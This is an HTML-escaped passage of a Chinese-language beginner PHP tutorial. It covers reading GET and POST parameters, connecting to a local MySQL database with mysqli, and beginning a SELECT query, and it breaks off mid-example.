&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$a&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Hi!&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;get-命令&#34;&gt;GET 命令
&lt;/h3&gt;&lt;p&gt;使用GET命令可以获取用户输入的信息并赋值给变量，例如：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$a&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后php可以通过地址(url)获取变量值，例如：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://localhost/index.php?name=example&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;那如果有多个变量呢？&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$a&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$b&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;job&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;你的工作是&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;http://localhost/index.php?name=example&amp;amp;job=xxx&lt;/code&gt;即可&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;尤其注意：&lt;/font&gt;&lt;/strong&gt; 在php文件后加上&lt;code&gt;?变量名1=变量值1&amp;amp;变量名2=变量值2&lt;/code&gt;的格式&lt;/p&gt;
&lt;h3 id=&#34;post-命令&#34;&gt;POST 命令
&lt;/h3&gt;&lt;p&gt;很简单，把上面的GET全改为POST就行了&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$a&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_POST&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;不过这时候需要我们手动去提交POST，像这样：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/12/03/692f9be569e28.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;h2 id=&#34;数据库交互之增删改查&#34;&gt;数据库交互之增删改查
&lt;/h2&gt;&lt;p&gt;登录phpmyadmin(&lt;a class=&#34;link&#34; href=&#34;http://localhost/phpmyadmin&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;http://localhost/phpmyadmin&lt;/a&gt;)创建一个示例数据库并随便写几条示例数据进去，过程略&lt;/p&gt;
&lt;h3 id=&#34;连接数据库&#34;&gt;连接数据库
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 1. 配置连接
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$servername&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$username&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$password&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$dbname&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;test&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;		&lt;span class=&#34;c1&#34;&gt;//数据库库名
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 2. 创建链接
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;mysqli&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$servername&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$password&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$dbname&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 3. 检测连接
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;connect_error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;die&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;连接失败&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;connect_error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;操作查&#34;&gt;操作：查
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;25
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;26
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;27
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;28
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;29
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;30
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 1. 配置连接
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$servername&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$username&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$password&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$dbname&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;test&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;		&lt;span class=&#34;c1&#34;&gt;//数据库库名
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 2. 创建链接（使用mysqli函数按格式填写所需参数）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;mysqli&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$servername&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$password&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$dbname&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 3. 检测连接
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;connect_error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;die&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;连接失败&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;connect_error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 数据库查询语句================================================================
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//准备一条数据库语句
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$sql&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;select * from db1 where id &amp;lt; 3&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// 这里相当于把查询指令赋值给$sql
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 执行sql语句并返回给变量
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$result&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;query&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$sql&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 判断result里是否有东西
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$result&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;num_rows&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;	&lt;span class=&#34;c1&#34;&gt;// $result-&amp;gt;num_rows获取结果集中的行数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// 输出数据
